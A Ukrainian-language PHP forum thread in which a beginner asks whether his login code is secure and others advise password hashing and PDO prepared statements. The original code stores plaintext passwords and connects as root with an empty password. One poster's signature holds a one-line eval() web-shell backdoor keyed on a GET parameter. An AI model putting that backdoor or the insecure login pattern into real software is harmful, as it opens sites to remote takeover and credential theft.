1 Востаннє редагувалося Blast (10.03.2014 13:31:19)

Тема: Запитання на рахунок безпеки авторизації

Переглянути код авторизації

<?php
// Адреса  БД
$dbhost = 'localhost';
// Ім'я користувач для доступу в бд'
$dbuser = 'root';
// Пароль від БД
$dbpass = '';
// *** його знає шо то таке , але має бути пусте 
$database  = '' ;
// Назва бази з відки будуть братись таблиці користувачів
$dbname = 'new_db';

$database=mysqli_connect($dbhost, $dbuser, $dbpass)
or die ("Ошибка подключения к базе данных");
mysqli_select_db($database,$dbname);
// Кодування як стоїть в базі 
$database->set_charset("utf8");

//
if ($_POST['login'] != "" && $_POST['password'] != "")
{
$login = strip_tags($_POST['login']);
$password = strip_tags($_POST['password']);
// Вибірка користувачів де логін дорівнює заповненому 
$rez = $database->prepare('SELECT * FROM users WHERE login=?');
$rez->bind_param("s", $login);
$rez->execute();
if ($rez==true)
{
  $rezult=mysqli_fetch_array($rez->get_result());
// Перевірка паролю
if ($password === $rezult['password'])
{
echo "<script type='text/javascript'>
window.onload = function(){
  alert('Авторизація пройшла успішно.');
}
</script>";
//Всьо нормально , можеш іти курити , Чек буде нижче описаний 
$check = true ; 

}
else
{
echo "<script type='text/javascript'>
window.onload = function(){
  alert('Введений логін або пароль не вірний');
}
</script>";
}
}
else
{
echo 'Такого пользователя не существует';
}
}

// Якщо хтось заповнив всі поля то додає новину
if(isset($_POST['add']))
{

Далі , якщо тру то показує форму для додавання в бд даних . Як на вашу думку безпечено?

$check = true ; 
Junior Django Developer

Re: Запитання на рахунок безпеки авторизації

if ($rez==true)
Прихований текст
http://www.catalog-koshek.ru/uploads/posts/2013-04/1366200345_govoryaschiy-kot.jpg
Подякували: miroslav.chandler1

3

Re: Запитання на рахунок безпеки авторизації

Допомагали з написанням , проти SQL іньєкцій , ось вирішив поцікавитись .

Junior Django Developer

4

Re: Запитання на рахунок безпеки авторизації

Дам декілька порад:
1. Тримайте зашифровані паролі в базі даних.
2. Пишіть кращий код: організовуйте його по функціях, розбивайте на логічні куски ;)
3. як варіант можна використовувати fetch_row для витягнення рядка  ;)
4. Ставте limit 1 в запиті ;) буде швидше =)

Подякували: Vo_Vik, Blast2

5

Re: Запитання на рахунок безпеки авторизації

+1 до хешу паролів.

6

Re: Запитання на рахунок безпеки авторизації

з мд 5 щось не получилось , сайт простенький авторизація тільки для адміна для додовання новин

Junior Django Developer

7

Re: Запитання на рахунок безпеки авторизації

Краще намагатись читати офіційну документацію (хоч і на англійській), ніж сторонні ресурси. PHP має досить добру документацію.

Стосовно вашого запита, то, по-перше, у вас намішано процедурний і об'єктний стиль застосування MySQL, що строго не рекомендується. Якщо ви тільки починаєте вивчати PHP, то краще вже починати із об'єктного стилю кодування.
Якщо у вас не виходить використовувати md5, то можливо ви вставляєте в БД не результат приведення паролю до "md5 вигляду", а пробуєте вставляти і витягувати текстовий пароль...

П.С. Можливо у вас далі закривається з'єднання з БД (що є обов'язковим при використанні MySQLi, але в наведеному прикладі покищо цього не видно).

8

Re: Запитання на рахунок безпеки авторизації

Є ще функції mysqli_real_escape_string та htmlentities.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9

Re: Запитання на рахунок безпеки авторизації

Є ще функції mysqli_real_escape_string та htmlentities.

краще Prepared statements ;)

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
Подякували: koala, miroslav.chandler2

10 Востаннє редагувалося ktretyak (19.03.2014 13:17:29)

Re: Запитання на рахунок безпеки авторизації

Ось повний приклад використання запитів до БД через PDO:

<?php
header("Content-Type:text/html;charset=utf-8"); // Цей заголовок має йти після встановлення куків (якщо вони встановлюються)
define("DB_HOST","localhost"); // Назва сервера, на якому працює ваша БД
define("DB_USER","test"); // Ім'я користувача для підключення до БД, змініть на своє
define("DB_PASSWORD","1"); // Пароль користувача БД, змініть на свій
define("DB_NAME","db_test"); // Назва БД, змініть на свою
define("DB_DSN", 'mysql:dbname='.DB_NAME.';host='.DB_HOST); // В цьому рядку нічого змінювати не потрібно

/**
 * Вищезазначений код можна винести в окремий файл,
 * який можна підключати, коли треба працювати з БД через PDO
 */

try
{
    $dbh = new PDO(DB_DSN, DB_USER, DB_PASSWORD);
}
catch (PDOException $e)
{
    echo 'Connection failed: ' . $e->getMessage();
}
$name = 'Вася';
$age = 22;
$stmt = $dbh->prepare("select :name as name, :age as age"); // Змініть на власний запит
$stmt->bindParam(':name', $name);
$stmt->bindParam(':age', $age, PDO::PARAM_INT); // Другий параметр передається, тільки коли треба строго встановити тип даних (integer)
$stmt->execute();

while($row = $stmt->fetch(PDO::FETCH_ASSOC))
{
    echo "Ім'я: $row[name], вік: $row[age] роки<br>";
}